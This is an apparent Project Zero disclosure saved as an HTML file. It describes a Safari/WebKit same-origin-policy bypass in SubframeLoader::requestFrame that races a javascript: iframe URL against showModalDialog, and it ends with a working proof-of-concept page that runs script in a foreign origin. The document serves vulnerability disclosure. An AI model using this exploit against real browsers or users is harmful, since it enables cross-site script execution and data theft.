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<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1121 Here's a snippet of the method SubframeLoader::requestFrame which is invoked when the |src| of an iframe object is changed. bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList) { // Support for <frame src="javascript:string"> URL scriptURL; URL url; if (protocolIsJavaScript(urlString)) { scriptURL = completeURL(urlString); // completeURL() encodes the URL. url = blankURL(); } else url = completeURL(urlString); if (shouldConvertInvalidURLsToBlank() && !url.isValid()) url = blankURL(); Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); <<------- in here, the synchronous page load is made. if (!frame) return false; if (!scriptURL.isEmpty()) frame->script().executeIfJavaScriptURL(scriptURL); <<----- boooom return true; } A SOP violation check is made before the above method is called. But the frame's document can be changed before |frame->script().executeIfJavaScriptURL| called. This can happen by calling |showModalDialog| that enters a message loop that may start pending page loads. Tested on Safari 10.0.3(12602.4.8). PoC: --> <body> <p>click anywhere</p> <script> window.onclick = () => { window.onclick = null; f = document.createElement('iframe'); f.src = 'javascript:alert(location)'; f.onload = () => { f.onload = null; let a = f.contentDocument.createElement('a'); a.href = 'https://abc.xyz/'; a.click(); window.showModalDialog(URL.createObjectURL(new Blob([` <script> let it = setInterval(() => { try { opener[0].document.x; } catch (e) { clearInterval(it); window.close(); } }, 100); </scrip` + 't>'], {type: 'text/html'}))); }; document.body.appendChild(f); }; cached.src = kUrl; </script> </body>
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